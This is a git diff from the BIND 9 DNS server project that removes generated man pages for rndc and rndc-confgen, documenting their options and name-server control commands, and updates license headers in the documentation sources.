-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-:orphan:
-
-.. include:: ../../bin/pkcs11/pkcs11-tokens.rst
\ No newline at end of file
diff --git a/doc/man/rndc-confgen.8in b/doc/man/rndc-confgen.8in
deleted file mode 100644
index 287af1dcfa..0000000000
--- a/doc/man/rndc-confgen.8in
+++ /dev/null
@@ -1,122 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "RNDC-CONFGEN" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-rndc-confgen \- rndc key generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBrndc\-confgen\fP [\fB\-a\fP] [\fB\-A\fP algorithm] [\fB\-b\fP keysize] [\fB\-c\fP keyfile] [\fB\-h\fP] [\fB\-k\fP keyname] [\fB\-p\fP port] [\fB\-s\fP address] [\fB\-t\fP chrootdir] [\fB\-u\fP user]
-.SH DESCRIPTION
-.sp
-\fBrndc\-confgen\fP generates configuration files for \fBrndc\fP\&. It can be
-used as a convenient alternative to writing the \fBrndc.conf\fP file and
-the corresponding \fBcontrols\fP and \fBkey\fP statements in \fBnamed.conf\fP
-by hand. Alternatively, it can be run with the \fB\-a\fP option to set up a
-\fBrndc.key\fP file and avoid the need for a \fBrndc.conf\fP file and a
-\fBcontrols\fP statement altogether.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a\fP
-This option sets automatic \fBrndc\fP configuration, which creates a file \fBrndc.key\fP
-in \fB/etc\fP (or a different \fBsysconfdir\fP specified when BIND
-was built) that is read by both \fBrndc\fP and \fBnamed\fP on startup.
-The \fBrndc.key\fP file defines a default command channel and
-authentication key allowing \fBrndc\fP to communicate with \fBnamed\fP on
-the local host with no further configuration.
-.sp
-If a more elaborate configuration than that generated by
-\fBrndc\-confgen \-a\fP is required, for example if rndc is to be used
-remotely, run \fBrndc\-confgen\fP without the \fB\-a\fP option
-and set up \fBrndc.conf\fP and \fBnamed.conf\fP as directed.
-.TP
-.B \fB\-A algorithm\fP
-This option specifies the algorithm to use for the TSIG key. Available choices
-are: hmac\-md5, hmac\-sha1, hmac\-sha224, hmac\-sha256, hmac\-sha384, and
-hmac\-sha512. The default is hmac\-sha256.
-.TP
-.B \fB\-b keysize\fP
-This option specifies the size of the authentication key in bits. The size must be between
-1 and 512 bits; the default is the hash size.
-.TP
-.B \fB\-c keyfile\fP
-This option is used with the \fB\-a\fP option to specify an alternate location for
-\fBrndc.key\fP\&.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of the options and arguments to
-\fBrndc\-confgen\fP\&.
-.TP
-.B \fB\-k keyname\fP
-This option specifies the key name of the \fBrndc\fP authentication key. This must be a
-valid domain name. The default is \fBrndc\-key\fP\&.
-.TP
-.B \fB\-p port\fP
-This option specifies the command channel port where \fBnamed\fP listens for
-connections from \fBrndc\fP\&. The default is 953.
-.TP
-.B \fB\-q\fP
-This option prevets printing the written path in automatic configuration mode.
-.TP
-.B \fB\-s address\fP
-This option specifies the IP address where \fBnamed\fP listens for command\-channel
-connections from \fBrndc\fP\&. The default is the loopback address
-127.0.0.1.
-.TP
-.B \fB\-t chrootdir\fP
-This option is used with the \fB\-a\fP option to specify a directory where \fBnamed\fP
-runs chrooted. An additional copy of the \fBrndc.key\fP is
-written relative to this directory, so that it is found by the
-chrooted \fBnamed\fP\&.
-.TP
-.B \fB\-u user\fP
-This option is used with the \fB\-a\fP option to set the owner of the generated \fBrndc.key\fP file.
-If \fB\-t\fP is also specified, only the file in the chroot
-area has its owner changed.
-.UNINDENT
-.SH EXAMPLES
-.sp
-To allow \fBrndc\fP to be used with no manual configuration, run:
-.sp
-\fBrndc\-confgen \-a\fP
-.sp
-To print a sample \fBrndc.conf\fP file and the corresponding \fBcontrols\fP and
-\fBkey\fP statements to be manually inserted into \fBnamed.conf\fP, run:
-.sp
-\fBrndc\-confgen\fP
-.SH SEE ALSO
-.sp
-\fBrndc(8)\fP, \fBrndc.conf(5)\fP, \fBnamed(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/rndc-confgen.rst b/doc/man/rndc-confgen.rst
index f06dfdf855..dac57bad5d 100644
--- a/doc/man/rndc-confgen.rst
+++ b/doc/man/rndc-confgen.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/confgen/rndc-confgen.rst
\ No newline at end of file
+.. include:: ../../bin/confgen/rndc-confgen.rst
diff --git a/doc/man/rndc.8in b/doc/man/rndc.8in
deleted file mode 100644
index a17124ee7e..0000000000
--- a/doc/man/rndc.8in
+++ /dev/null
@@ -1,602 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "RNDC" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-rndc \- name server control utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBrndc\fP [\fB\-b\fP source\-address] [\fB\-c\fP config\-file] [\fB\-k\fP key\-file] [\fB\-s\fP server] [\fB\-p\fP port] [\fB\-q\fP] [\fB\-r\fP] [\fB\-V\fP] [\fB\-y\fP key_id] [[\fB\-4\fP] | [\fB\-6\fP]] {command}
-.SH DESCRIPTION
-.sp
-\fBrndc\fP controls the operation of a name server; it supersedes the
-\fBndc\fP utility. If \fBrndc\fP is
-invoked with no command line options or arguments, it prints a short
-summary of the supported commands and the available options and their
-arguments.
-.sp
-\fBrndc\fP communicates with the name server over a TCP connection,
-sending commands authenticated with digital signatures. In the current
-versions of \fBrndc\fP and \fBnamed\fP, the only supported authentication
-algorithms are HMAC\-MD5 (for compatibility), HMAC\-SHA1, HMAC\-SHA224,
-HMAC\-SHA256 (default), HMAC\-SHA384, and HMAC\-SHA512. They use a shared
-secret on each end of the connection, which provides TSIG\-style
-authentication for the command request and the name server\(aqs response.
-All commands sent over the channel must be signed by a key_id known to
-the server.
-.sp
-\fBrndc\fP reads a configuration file to determine how to contact the name
-server and decide what algorithm and key it should use.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option indicates use of IPv4 only.
-.TP
-.B \fB\-6\fP
-This option indicates use of IPv6 only.
-.TP
-.B \fB\-b source\-address\fP
-This option indicates \fBsource\-address\fP as the source address for the connection to the
-server. Multiple instances are permitted, to allow setting of both the
-IPv4 and IPv6 source addresses.
-.TP
-.B \fB\-c config\-file\fP
-This option indicates \fBconfig\-file\fP as the configuration file instead of the default,
-\fB/etc/rndc.conf\fP\&.
-.TP
-.B \fB\-k key\-file\fP
-This option indicates \fBkey\-file\fP as the key file instead of the default,
-\fB/etc/rndc.key\fP\&. The key in \fB/etc/rndc.key\fP is used to
-authenticate commands sent to the server if the config\-file does not
-exist.
-.TP
-.B \fB\-s server\fP
-\fBserver\fP is the name or address of the server which matches a server
-statement in the configuration file for \fBrndc\fP\&. If no server is
-supplied on the command line, the host named by the default\-server
-clause in the options statement of the \fBrndc\fP configuration file
-is used.
-.TP
-.B \fB\-p port\fP
-This option instructs BIND 9 to send commands to TCP port \fBport\fP instead of its default control
-channel port, 953.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, where message text returned by the server is not printed
-unless there is an error.
-.TP
-.B \fB\-r\fP
-This option instructs \fBrndc\fP to print the result code returned by \fBnamed\fP
-after executing the requested command (e.g., ISC_R_SUCCESS,
-ISC_R_FAILURE, etc.).
-.TP
-.B \fB\-V\fP
-This option enables verbose logging.
-.TP
-.B \fB\-y key_id\fP
-This option indicates use of the key \fBkey_id\fP from the configuration file. For control message validation to succeed, \fBkey_id\fP must be known
-by \fBnamed\fP with the same algorithm and secret string. If no \fBkey_id\fP is specified,
-\fBrndc\fP first looks for a key clause in the server statement of
-the server being used, or if no server statement is present for that
-host, then in the default\-key clause of the options statement. Note that
-the configuration file contains shared secrets which are used to send
-authenticated control commands to name servers, and should therefore
-not have general read or write access.
-.UNINDENT
-.SH COMMANDS
-.sp
-A list of commands supported by \fBrndc\fP can be seen by running \fBrndc\fP
-without arguments.
-.sp
-Currently supported commands are:
-.INDENT 0.0
-.TP
-.B \fBaddzone\fP \fIzone\fP [\fIclass\fP [\fIview\fP]] \fIconfiguration\fP
-This command adds a zone while the server is running. This command requires the
-\fBallow\-new\-zones\fP option to be set to \fByes\fP\&. The configuration
-string specified on the command line is the zone configuration text
-that would ordinarily be placed in \fBnamed.conf\fP\&.
-.sp
-The configuration is saved in a file called \fBviewname.nzf\fP (or, if
-\fBnamed\fP is compiled with liblmdb, an LMDB database file called
-\fBviewname.nzd\fP). \fBviewname\fP is the name of the view, unless the view
-name contains characters that are incompatible with use as a file
-name, in which case a cryptographic hash of the view name is used
-instead. When \fBnamed\fP is restarted, the file is loaded into
-the view configuration so that zones that were added can persist
-after a restart.
-.sp
-This sample \fBaddzone\fP command adds the zone \fBexample.com\fP to
-the default view:
-.sp
-\fBrndc addzone example.com \(aq{ type master; file "example.com.db"; };\(aq\fP
-.sp
-(Note the brackets around and semi\-colon after the zone configuration
-text.)
-.sp
-See also \fBrndc delzone\fP and \fBrndc modzone\fP\&.
-.TP
-\fBdelzone\fP [\fB\-clean\fP] \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command deletes a zone while the server is running.
-.sp
-If the \fB\-clean\fP argument is specified, the zone\(aqs master file (and
-journal file, if any) are deleted along with the zone. Without
-the \fB\-clean\fP option, zone files must be deleted manually. (If the
-zone is of type \fBsecondary\fP or \fBstub\fP, the files needing to be removed
-are reported in the output of the \fBrndc delzone\fP command.)
-.sp
-If the zone was originally added via \fBrndc addzone\fP, then it is
-removed permanently. However, if it was originally configured in
-\fBnamed.conf\fP, then that original configuration remains in place;
-when the server is restarted or reconfigured, the zone is
-recreated. To remove it permanently, it must also be removed from
-\fBnamed.conf\fP\&.
-.sp
-See also \fBrndc addzone\fP and \fBrndc modzone\fP\&.
-.TP
-\fBdnssec\fP ( \fB\-status\fP | \fB\-rollover\fP \fB\-key\fP id [\fB\-alg\fP \fIalgorithm\fP] [\fB\-when\fP \fItime\fP] | \fB\-checkds\fP [\fB\-key\fP \fIid\fP [\fB\-alg\fP \fIalgorithm\fP]] [\fB\-when\fP \fItime\fP] ( \fIpublished\fP | \fIwithdrawn\fP )) \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command allows you to interact with the "dnssec\-policy" of a given
-zone.
-.sp
-\fBrndc dnssec \-status\fP show the DNSSEC signing state for the specified
-zone.
-.sp
-\fBrndc dnssec \-rollover\fP allows you to schedule key rollover for a
-specific key (overriding the original key lifetime).
-.sp
-\fBrndc dnssec \-checkds\fP will let \fBnamed\fP know that the DS for the given
-key has been seen published into or withdrawn from the parent.  This is
-required in order to complete a KSK rollover.  If the \fB\-key id\fP argument
-is specified, look for the key with the given identifier, otherwise if there
-is only one key acting as a KSK in the zone, assume the DS of that key (if
-there are multiple keys with the same tag, use \fB\-alg algorithm\fP to
-select the correct algorithm).  The time that the DS has been published or
-withdrawn is set to now, unless otherwise specified with the argument \fB\-when time\fP\&.
-.TP
-\fBdnstap\fP ( \fB\-reopen\fP | \fB\-roll\fP [\fInumber\fP] )
-This command closes and re\-opens DNSTAP output files. \fBrndc dnstap \-reopen\fP allows
-the output file to be renamed externally, so that \fBnamed\fP can
-truncate and re\-open it. \fBrndc dnstap \-roll\fP causes the output file
-to be rolled automatically, similar to log files. The most recent
-output file has ".0" appended to its name; the previous most recent
-output file is moved to ".1", and so on. If \fBnumber\fP is specified, then
-the number of backup log files is limited to that number.
-.TP
-\fBdumpdb\fP [\fB\-all\fP | \fB\-cache\fP | \fB\-zones\fP | \fB\-adb\fP | \fB\-bad\fP | \fB\-expired\fP | \fB\-fail\fP] [\fIview ...\fP]
-This command dumps the server\(aqs caches (default) and/or zones to the dump file for
-the specified views. If no view is specified, all views are dumped.
-(See the \fBdump\-file\fP option in the BIND 9 Administrator Reference
-Manual.)
-.TP
-.B \fBflush\fP
-This command flushes the server\(aqs cache.
-.TP
-.B \fBflushname\fP \fIname\fP [\fIview\fP]
-This command flushes the given name from the view\(aqs DNS cache and, if applicable,
-from the view\(aqs nameserver address database, bad server cache, and
-SERVFAIL cache.
-.TP
-.B \fBflushtree\fP \fIname\fP [\fIview\fP]
-This command flushes the given name, and all of its subdomains, from the view\(aqs
-DNS cache, address database, bad server cache, and SERVFAIL cache.
-.TP
-.B \fBfreeze\fP [\fIzone\fP [\fIclass\fP [\fIview\fP]]]
-This command suspends updates to a dynamic zone. If no zone is specified, then all
-zones are suspended. This allows manual edits to be made to a zone
-normally updated by dynamic update, and causes changes in the
-journal file to be synced into the master file. All dynamic update
-attempts are refused while the zone is frozen.
-.sp
-See also \fBrndc thaw\fP\&.
-.TP
-\fBhalt\fP [\fB\-p\fP]
-This command stops the server immediately. Recent changes made through dynamic
-update or IXFR are not saved to the master files, but are rolled
-forward from the journal files when the server is restarted. If
-\fB\-p\fP is specified, \fBnamed\fP\(aqs process ID is returned. This allows
-an external process to determine when \fBnamed\fP has completed
-halting.
-.sp
-See also \fBrndc stop\fP\&.
-.TP
-.B \fBloadkeys\fP [\fIzone\fP [\fIclass\fP [\fIview\fP]]]
-This command fetches all DNSSEC keys for the given zone from the key directory. If
-they are within their publication period, they are merged into the
-zone\(aqs DNSKEY RRset. Unlike \fBrndc sign\fP, however, the zone is not
-immediately re\-signed by the new keys, but is allowed to
-incrementally re\-sign over time.
-.sp
-This command requires that the zone be configured with a \fBdnssec\-policy\fP, or
-that the \fBauto\-dnssec\fP zone option be set to \fBmaintain\fP, and also requires the
-zone to be configured to allow dynamic DNS. (See "Dynamic Update Policies" in
-the Administrator Reference Manual for more details.)
-.TP
-.B \fBmanaged\-keys\fP (\fIstatus\fP | \fIrefresh\fP | \fIsync\fP | \fIdestroy\fP) [\fIclass\fP [\fIview\fP]]
-This command inspects and controls the "managed\-keys" database which handles
-\fI\%RFC 5011\fP DNSSEC trust anchor maintenance. If a view is specified, these
-commands are applied to that view; otherwise, they are applied to all
-views.
-.INDENT 7.0
-.IP \(bu 2
-When run with the \fBstatus\fP keyword, this prints the current status of
-the managed\-keys database.
-.IP \(bu 2
-When run with the \fBrefresh\fP keyword, this forces an immediate refresh
-query to be sent for all the managed keys, updating the
-managed\-keys database if any new keys are found, without waiting
-the normal refresh interval.
-.IP \(bu 2
-When run with the \fBsync\fP keyword, this forces an immediate dump of
-the managed\-keys database to disk (in the file
-\fBmanaged\-keys.bind\fP or (\fBviewname.mkeys\fP). This synchronizes
-the database with its journal file, so that the database\(aqs current
-contents can be inspected visually.
-.IP \(bu 2
-When run with the \fBdestroy\fP keyword, the managed\-keys database
-is shut down and deleted, and all key maintenance is terminated.
-This command should be used only with extreme caution.
-.sp
-Existing keys that are already trusted are not deleted from
-memory; DNSSEC validation can continue after this command is used.
-However, key maintenance operations cease until \fBnamed\fP is
-restarted or reconfigured, and all existing key maintenance states
-are deleted.
-.sp
-Running \fBrndc reconfig\fP or restarting \fBnamed\fP immediately
-after this command causes key maintenance to be reinitialized
-from scratch, just as if the server were being started for the
-first time. This is primarily intended for testing, but it may
-also be used, for example, to jumpstart the acquisition of new
-keys in the event of a trust anchor rollover, or as a brute\-force
-repair for key maintenance problems.
-.UNINDENT
-.TP
-.B \fBmodzone\fP \fIzone\fP [\fIclass\fP [\fIview\fP]] \fIconfiguration\fP
-This command modifies the configuration of a zone while the server is running. This
-command requires the \fBallow\-new\-zones\fP option to be set to \fByes\fP\&.
-As with \fBaddzone\fP, the configuration string specified on the
-command line is the zone configuration text that would ordinarily be
-placed in \fBnamed.conf\fP\&.
-.sp
-If the zone was originally added via \fBrndc addzone\fP, the
-configuration changes are recorded permanently and are still
-in effect after the server is restarted or reconfigured. However, if
-it was originally configured in \fBnamed.conf\fP, then that original
-configuration remains in place; when the server is restarted or
-reconfigured, the zone reverts to its original configuration. To
-make the changes permanent, it must also be modified in
-\fBnamed.conf\fP\&.
-.sp
-See also \fBrndc addzone\fP and \fBrndc delzone\fP\&.
-.TP
-.B \fBnotify\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command resends NOTIFY messages for the zone.
-.TP
-.B \fBnotrace\fP
-This command sets the server\(aqs debugging level to 0.
-.sp
-See also \fBrndc trace\fP\&.
-.TP
-\fBnta\fP [( \fB\-class\fP \fIclass\fP | \fB\-dump\fP | \fB\-force\fP | \fB\-remove\fP | \fB\-lifetime\fP \fIduration\fP)] \fIdomain\fP [\fIview\fP]
-This command sets a DNSSEC negative trust anchor (NTA) for \fBdomain\fP, with a
-lifetime of \fBduration\fP\&. The default lifetime is configured in
-\fBnamed.conf\fP via the \fBnta\-lifetime\fP option, and defaults to one
-hour. The lifetime cannot exceed one week.
-.sp
-A negative trust anchor selectively disables DNSSEC validation for
-zones that are known to be failing because of misconfiguration rather
-than an attack. When data to be validated is at or below an active
-NTA (and above any other configured trust anchors), \fBnamed\fP
-aborts the DNSSEC validation process and treats the data as insecure
-rather than bogus. This continues until the NTA\(aqs lifetime has
-elapsed.
-.sp
-NTAs persist across restarts of the \fBnamed\fP server. The NTAs for a
-view are saved in a file called \fBname.nta\fP, where \fBname\fP is the name
-of the view; if it contains characters that are incompatible with
-use as a file name, a cryptographic hash is generated from the name of
-the view.
-.sp
-An existing NTA can be removed by using the \fB\-remove\fP option.
-.sp
-An NTA\(aqs lifetime can be specified with the \fB\-lifetime\fP option.
-TTL\-style suffixes can be used to specify the lifetime in seconds,
-minutes, or hours. If the specified NTA already exists, its lifetime
-is updated to the new value. Setting \fBlifetime\fP to zero is
-equivalent to \fB\-remove\fP\&.
-.sp
-If \fB\-dump\fP is used, any other arguments are ignored and a list
-of existing NTAs is printed. Note that this may include NTAs that are
-expired but have not yet been cleaned up.
-.sp
-Normally, \fBnamed\fP periodically tests to see whether data below
-an NTA can now be validated (see the \fBnta\-recheck\fP option in the
-Administrator Reference Manual for details). If data can be
-validated, then the NTA is regarded as no longer necessary and is
-allowed to expire early. The \fB\-force\fP parameter overrides this behavior
-and forces an NTA to persist for its entire lifetime, regardless of
-whether data could be validated if the NTA were not present.
-.sp
-The view class can be specified with \fB\-class\fP\&. The default is class
-\fBIN\fP, which is the only class for which DNSSEC is currently
-supported.
-.sp
-All of these options can be shortened, i.e., to \fB\-l\fP, \fB\-r\fP,
-\fB\-d\fP, \fB\-f\fP, and \fB\-c\fP\&.
-.sp
-Unrecognized options are treated as errors. To refer to a domain or
-view name that begins with a hyphen, use a double\-hyphen (\-\-) on the
-command line to indicate the end of options.
-.TP
-.B \fBquerylog\fP [(\fIon\fP | \fIoff\fP)]
-This command enables or disables query logging. For backward compatibility, this
-command can also be used without an argument to toggle query logging
-on and off.
-.sp
-Query logging can also be enabled by explicitly directing the
-\fBqueries\fP \fBcategory\fP to a \fBchannel\fP in the \fBlogging\fP section
-of \fBnamed.conf\fP, or by specifying \fBquerylog yes;\fP in the
-\fBoptions\fP section of \fBnamed.conf\fP\&.
-.TP
-.B \fBreconfig\fP
-This command reloads the configuration file and loads new zones, but does not reload
-existing zone files even if they have changed. This is faster than a
-full \fBreload\fP when there is a large number of zones, because it
-avoids the need to examine the modification times of the zone files.
-.TP
-.B \fBrecursing\fP
-This command dumps the list of queries \fBnamed\fP is currently recursing on, and the
-list of domains to which iterative queries are currently being sent.
-The second list includes the number of fetches currently active for
-the given domain, and how many have been passed or dropped because of
-the \fBfetches\-per\-zone\fP option.
-.TP
-.B \fBrefresh\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command schedules zone maintenance for the given zone.
-.TP
-.B \fBreload\fP
-This command reloads the configuration file and zones.
-.TP
-.B \fBreload\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command reloads the given zone.
-.TP
-.B \fBretransfer\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command retransfers the given secondary zone from the primary server.
-.sp
-If the zone is configured to use \fBinline\-signing\fP, the signed
-version of the zone is discarded; after the retransfer of the
-unsigned version is complete, the signed version is regenerated
-with new signatures.
-.TP
-.B \fBscan\fP
-This command scans the list of available network interfaces for changes, without
-performing a full \fBreconfig\fP or waiting for the
-\fBinterface\-interval\fP timer.
-.TP
-\fBsecroots\fP [\fB\-\fP] [\fIview\fP ...]
-This command dumps the security roots (i.e., trust anchors configured via
-\fBtrust\-anchors\fP, or the \fBmanaged\-keys\fP or \fBtrusted\-keys\fP statements
-[both deprecated], or \fBdnssec\-validation auto\fP) and negative trust anchors
-for the specified views. If no view is specified, all views are
-dumped. Security roots indicate whether they are configured as trusted
-keys, managed keys, or initializing managed keys (managed keys that have not
-yet been updated by a successful key refresh query).
-.sp
-If the first argument is \fB\-\fP, then the output is returned via the
-\fBrndc\fP response channel and printed to the standard output.
-Otherwise, it is written to the secroots dump file, which defaults to
-\fBnamed.secroots\fP, but can be overridden via the \fBsecroots\-file\fP
-option in \fBnamed.conf\fP\&.
-.sp
-See also \fBrndc managed\-keys\fP\&.
-.TP
-\fBserve\-stale\fP (\fBon\fP | \fBoff\fP | \fBreset\fP | \fBstatus\fP) [\fIclass\fP [\fIview\fP]]
-This command enables, disables, resets, or reports the current status of the serving
-of stale answers as configured in \fBnamed.conf\fP\&.
-.sp
-If serving of stale answers is disabled by \fBrndc\-serve\-stale off\fP,
-then it remains disabled even if \fBnamed\fP is reloaded or
-reconfigured. \fBrndc serve\-stale reset\fP restores the setting as
-configured in \fBnamed.conf\fP\&.
-.sp
-\fBrndc serve\-stale status\fP reports whether serving of stale
-answers is currently enabled, disabled by the configuration, or
-disabled by \fBrndc\fP\&. It also reports the values of
-\fBstale\-answer\-ttl\fP and \fBmax\-stale\-ttl\fP\&.
-.TP
-.B \fBshowzone\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command prints the configuration of a running zone.
-.sp
-See also \fBrndc zonestatus\fP\&.
-.TP
-.B \fBsign\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command fetches all DNSSEC keys for the given zone from the key directory (see
-the \fBkey\-directory\fP option in the BIND 9 Administrator Reference
-Manual). If they are within their publication period, they are merged into
-the zone\(aqs DNSKEY RRset. If the DNSKEY RRset is changed, then the
-zone is automatically re\-signed with the new key set.
-.sp
-This command requires that the zone be configured with a \fBdnssec\-policy\fP, or
-that the \fBauto\-dnssec\fP zone option be set to \fBallow\fP or \fBmaintain\fP,
-and also requires the zone to be configured to allow dynamic DNS. (See
-"Dynamic Update Policies" in the BIND 9 Administrator Reference Manual for more
-details.)
-.sp
-See also \fBrndc loadkeys\fP\&.
-.TP
-\fBsigning\fP [(\fB\-list\fP | \fB\-clear\fP \fIkeyid/algorithm\fP | \fB\-clear\fP \fIall\fP | \fB\-nsec3param\fP ( \fIparameters\fP | none ) | \fB\-serial\fP \fIvalue\fP ) \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command lists, edits, or removes the DNSSEC signing\-state records for the
-specified zone. The status of ongoing DNSSEC operations, such as
-signing or generating NSEC3 chains, is stored in the zone in the form
-of DNS resource records of type \fBsig\-signing\-type\fP\&.
-\fBrndc signing \-list\fP converts these records into a human\-readable
-form, indicating which keys are currently signing or have finished
-signing the zone, and which NSEC3 chains are being created or
-removed.
-.sp
-\fBrndc signing \-clear\fP can remove a single key (specified in the
-same format that \fBrndc signing \-list\fP uses to display it), or all
-keys. In either case, only completed keys are removed; any record
-indicating that a key has not yet finished signing the zone is
-retained.
-.sp
-\fBrndc signing \-nsec3param\fP sets the NSEC3 parameters for a zone.
-This is the only supported mechanism for using NSEC3 with
-\fBinline\-signing\fP zones. Parameters are specified in the same format
-as an NSEC3PARAM resource record: \fBhash algorithm\fP, \fBflags\fP, \fBiterations\fP,
-and \fBsalt\fP, in that order.
-.sp
-Currently, the only defined value for \fBhash algorithm\fP is \fB1\fP,
-representing SHA\-1. The \fBflags\fP may be set to \fB0\fP or \fB1\fP,
-depending on whether the opt\-out bit in the NSEC3
-chain should be set. \fBiterations\fP defines the number of additional times to apply
-the algorithm when generating an NSEC3 hash. The \fBsalt\fP is a string
-of data expressed in hexadecimal, a hyphen (\fI\-\(aq) if no salt is to be
-used, or the keyword \(ga\(gaauto\(ga\fP, which causes \fBnamed\fP to generate a
-random 64\-bit salt.
-.sp
-So, for example, to create an NSEC3 chain using the SHA\-1 hash
-algorithm, no opt\-out flag, 10 iterations, and a salt value of
-"FFFF", use: \fBrndc signing \-nsec3param 1 0 10 FFFF zone\fP\&. To set
-the opt\-out flag, 15 iterations, and no salt, use:
-\fBrndc signing \-nsec3param 1 1 15 \- zone\fP\&.
-.sp
-\fBrndc signing \-nsec3param none\fP removes an existing NSEC3 chain and
-replaces it with NSEC.
-.sp
-\fBrndc signing \-serial value\fP sets the serial number of the zone to
-\fBvalue\fP\&. If the value would cause the serial number to go backwards, it
-is rejected. The primary use of this parameter is to set the serial number on inline
-signed zones.
-.TP
-.B \fBstats\fP
-This command writes server statistics to the statistics file. (See the
-\fBstatistics\-file\fP option in the BIND 9 Administrator Reference
-Manual.)
-.TP
-.B \fBstatus\fP
-This command displays the status of the server. Note that the number of zones includes
-the internal \fBbind/CH\fP zone and the default \fB\&./IN\fP hint zone, if
-there is no explicit root zone configured.
-.TP
-\fBstop\fP \fB\-p\fP
-This command stops the server, making sure any recent changes made through dynamic
-update or IXFR are first saved to the master files of the updated
-zones. If \fB\-p\fP is specified, \fBnamed(8)\(ga\(aqs process ID is returned.
-This allows an external process to determine when \(ga\(ganamed\fP has
-completed stopping.
-.sp
-See also \fBrndc halt\fP\&.
-.TP
-\fBsync\fP \fB\-clean\fP [\fIzone\fP [\fIclass\fP [\fIview\fP]]]
-This command syncs changes in the journal file for a dynamic zone to the master
-file. If the "\-clean" option is specified, the journal file is also
-removed. If no zone is specified, then all zones are synced.
-.TP
-.B \fBtcp\-timeouts\fP [\fIinitial\fP \fIidle\fP \fIkeepalive\fP \fIadvertised\fP]
-When called without arguments, this command displays the current values of the
-\fBtcp\-initial\-timeout\fP, \fBtcp\-idle\-timeout\fP,
-\fBtcp\-keepalive\-timeout\fP, and \fBtcp\-advertised\-timeout\fP options.
-When called with arguments, these values are updated. This allows an
-administrator to make rapid adjustments when under a
-denial\-of\-service (DoS) attack. See the descriptions of these options in the BIND 9
-Administrator Reference Manual for details of their use.
-.TP
-.B \fBthaw\fP [\fIzone\fP [\fIclass\fP [\fIview\fP]]]
-This command enables updates to a frozen dynamic zone. If no zone is specified,
-then all frozen zones are enabled. This causes the server to reload
-the zone from disk, and re\-enables dynamic updates after the load has
-completed. After a zone is thawed, dynamic updates are no longer
-refused. If the zone has changed and the \fBixfr\-from\-differences\fP
-option is in use, the journal file is updated to reflect
-changes in the zone. Otherwise, if the zone has changed, any existing
-journal file is removed.
-.sp
-See also \fBrndc freeze\fP\&.
-.TP
-.B \fBtrace\fP
-This command increments the server\(aqs debugging level by one.
-.TP
-.B \fBtrace\fP \fIlevel\fP
-This command sets the server\(aqs debugging level to an explicit value.
-.sp
-See also \fBrndc notrace\fP\&.
-.TP
-.B \fBtsig\-delete\fP \fIkeyname\fP [\fIview\fP]
-This command deletes a given TKEY\-negotiated key from the server. This does not
-apply to statically configured TSIG keys.
-.TP
-.B \fBtsig\-list\fP
-This command lists the names of all TSIG keys currently configured for use by
